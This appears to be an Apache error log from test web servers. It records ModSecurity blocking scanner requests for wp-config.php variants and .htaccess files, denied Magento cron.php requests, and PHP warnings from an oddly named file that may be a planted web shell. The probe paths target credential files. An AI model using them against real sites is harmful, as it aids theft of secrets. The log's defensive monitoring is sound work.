[Sun Nov 23 00:32:01.135617 2025] [:error] [pid 264147] [client 217.170.194.172:37275] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8TzntZDulJ5yce3TegAAAAg"]
[Sun Nov 23 00:32:01.135884 2025] [:error] [pid 264147] [client 217.170.194.172:37275] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8TzntZDulJ5yce3TegAAAAg"]
[Sun Nov 23 00:32:01.136050 2025] [:error] [pid 264147] [client 217.170.194.172:37275] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8TzntZDulJ5yce3TegAAAAg"]
[Sun Nov 23 00:32:01.177784 2025] [:error] [pid 264142] [client 185.206.225.168:55951] [client 185.206.225.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8TACHkR_YOZwyOjAFQAAAAQ"]
[Sun Nov 23 00:32:01.178121 2025] [:error] [pid 264142] [client 185.206.225.168:55951] [client 185.206.225.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8TACHkR_YOZwyOjAFQAAAAQ"]
[Sun Nov 23 00:32:01.178363 2025] [:error] [pid 264142] [client 185.206.225.168:55951] [client 185.206.225.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8TACHkR_YOZwyOjAFQAAAAQ"]
[Sun Nov 23 00:32:01.250210 2025] [authz_core:error] [pid 264227] [client 217.170.194.172:49949] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:32:01.925491 2025] [:error] [pid 263848] [client 149.102.237.53:51893] [client 149.102.237.53] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8d1BKOLABWPPh6ldKAAAAAI"]
[Sun Nov 23 00:32:01.925761 2025] [:error] [pid 263848] [client 149.102.237.53:51893] [client 149.102.237.53] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8d1BKOLABWPPh6ldKAAAAAI"]
[Sun Nov 23 00:32:01.925964 2025] [:error] [pid 263848] [client 149.102.237.53:51893] [client 149.102.237.53] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8d1BKOLABWPPh6ldKAAAAAI"]
[Sun Nov 23 00:32:02.772932 2025] [:error] [pid 264212] [client 93.71.103.137:47839] [client 93.71.103.137] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8seatXoUO6wBiGntawAAAAk"]
[Sun Nov 23 00:32:02.773198 2025] [:error] [pid 264212] [client 93.71.103.137:47839] [client 93.71.103.137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8seatXoUO6wBiGntawAAAAk"]
[Sun Nov 23 00:32:02.773397 2025] [:error] [pid 264212] [client 93.71.103.137:47839] [client 93.71.103.137] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJH8seatXoUO6wBiGntawAAAAk"]
[Sun Nov 23 00:32:03.055025 2025] [:error] [pid 264142] [client 185.40.4.100:56554] [client 185.40.4.100] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH8zACHkR_YOZwyOjAFgAAAAQ"]
[Sun Nov 23 00:32:03.055279 2025] [:error] [pid 264142] [client 185.40.4.100:56554] [client 185.40.4.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH8zACHkR_YOZwyOjAFgAAAAQ"]
[Sun Nov 23 00:32:03.055474 2025] [:error] [pid 264142] [client 185.40.4.100:56554] [client 185.40.4.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH8zACHkR_YOZwyOjAFgAAAAQ"]
[Sun Nov 23 00:32:03.516922 2025] [:error] [pid 264147] [client 104.244.209.70:23291] [client 104.244.209.70] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8zzntZDulJ5yce3TewAAAAg"]
[Sun Nov 23 00:32:03.517172 2025] [:error] [pid 264147] [client 104.244.209.70:23291] [client 104.244.209.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8zzntZDulJ5yce3TewAAAAg"]
[Sun Nov 23 00:32:03.517361 2025] [:error] [pid 264147] [client 104.244.209.70:23291] [client 104.244.209.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJH8zzntZDulJ5yce3TewAAAAg"]
[Sun Nov 23 00:32:04.325076 2025] [:error] [pid 263848] [client 185.40.4.29:34574] [client 185.40.4.29] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH9N1BKOLABWPPh6ldKQAAAAI"]
[Sun Nov 23 00:32:04.325451 2025] [:error] [pid 263848] [client 185.40.4.29:34574] [client 185.40.4.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH9N1BKOLABWPPh6ldKQAAAAI"]
[Sun Nov 23 00:32:04.325698 2025] [:error] [pid 263848] [client 185.40.4.29:34574] [client 185.40.4.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJH9N1BKOLABWPPh6ldKQAAAAI"]
[Sun Nov 23 00:32:36.297338 2025] [:error] [pid 264158] [client 217.170.194.172:58477] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJIFASlFzDzj7JYZO0cxQAAAAw"]
[Sun Nov 23 00:32:36.297603 2025] [:error] [pid 264158] [client 217.170.194.172:58477] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJIFASlFzDzj7JYZO0cxQAAAAw"]
[Sun Nov 23 00:32:36.297781 2025] [:error] [pid 264158] [client 217.170.194.172:58477] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aSJIFASlFzDzj7JYZO0cxQAAAAw"]
[Sun Nov 23 00:32:37.915748 2025] [:error] [pid 263848] [client 104.244.209.70:45465] [client 104.244.209.70] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJIFd1BKOLABWPPh6ldMgAAAAI"]
[Sun Nov 23 00:32:37.916055 2025] [:error] [pid 263848] [client 104.244.209.70:45465] [client 104.244.209.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJIFd1BKOLABWPPh6ldMgAAAAI"]
[Sun Nov 23 00:32:37.916306 2025] [:error] [pid 263848] [client 104.244.209.70:45465] [client 104.244.209.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aSJIFd1BKOLABWPPh6ldMgAAAAI"]
[Sun Nov 23 00:32:38.588148 2025] [:error] [pid 264212] [client 185.40.4.149:54666] [client 185.40.4.149] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJIFseatXoUO6wBiGntdQAAAAk"]
[Sun Nov 23 00:32:38.588422 2025] [:error] [pid 264212] [client 185.40.4.149:54666] [client 185.40.4.149] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJIFseatXoUO6wBiGntdQAAAAk"]
[Sun Nov 23 00:32:38.588596 2025] [:error] [pid 264212] [client 185.40.4.149:54666] [client 185.40.4.149] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aSJIFseatXoUO6wBiGntdQAAAAk"]
[Sun Nov 23 00:34:12.169341 2025] [authz_core:error] [pid 264212] [client 217.170.194.172:37069] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:34:14.832756 2025] [authz_core:error] [pid 264212] [client 217.170.194.172:48845] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sun Nov 23 00:52:56.001526 2025] [authz_core:error] [pid 263846] [client 2.57.170.237:9433] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:52:59.814873 2025] [php:warn] [pid 264212] [client 217.170.194.172:58257] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Sun Nov 23 00:53:00.599441 2025] [authz_core:error] [pid 264216] [client 185.40.4.22:45890] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:53:00.599717 2025] [authz_core:error] [pid 264142] [client 185.40.4.22:45882] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 00:53:01.774793 2025] [php:warn] [pid 264147] [client 15.161.128.233:33707] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Sun Nov 23 00:53:05.553930 2025] [php:warn] [pid 264227] [client 185.40.4.22:45902] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Sun Nov 23 00:55:31.021834 2025] [authz_core:error] [pid 263849] [client 185.40.4.38:42344] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Nov 23 02:04:18.426942 2025] [:error] [pid 264147] [client 185.40.4.127:42244] [client 185.40.4.127] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /uapcee6twcfw_dcqy.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/UaPcEE6TWcFW_dCqY.htaccess"] [unique_id "aSJdkjzntZDulJ5yce3XVAAAAAg"]
[Sun Nov 23 02:04:18.427256 2025] [:error] [pid 264147] [client 185.40.4.127:42244] [client 185.40.4.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/UaPcEE6TWcFW_dCqY.htaccess"] [unique_id "aSJdkjzntZDulJ5yce3XVAAAAAg"]
[Sun Nov 23 02:04:18.427432 2025] [:error] [pid 264147] [client 185.40.4.127:42244] [client 185.40.4.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/UaPcEE6TWcFW_dCqY.htaccess"] [unique_id "aSJdkjzntZDulJ5yce3XVAAAAAg"]
[Sun Nov 23 02:04:19.633210 2025] [:error] [pid 264227] [client 185.40.4.92:41408] [client 185.40.4.92] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /8qna81mk6spgfenlkh.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8QNA81mk6sPgFeNLKh.htaccess"] [unique_id "aSJdkzHvpr34mDuN5LLmAQAAAAE"]
[Sun Nov 23 02:04:19.633580 2025] [:error] [pid 264227] [client 185.40.4.92:41408] [client 185.40.4.92] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8QNA81mk6sPgFeNLKh.htaccess"] [unique_id "aSJdkzHvpr34mDuN5LLmAQAAAAE"]
[Sun Nov 23 02:04:19.633751 2025] [:error] [pid 264227] [client 185.40.4.92:41408] [client 185.40.4.92] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8QNA81mk6sPgFeNLKh.htaccess"] [unique_id "aSJdkzHvpr34mDuN5LLmAQAAAAE"]
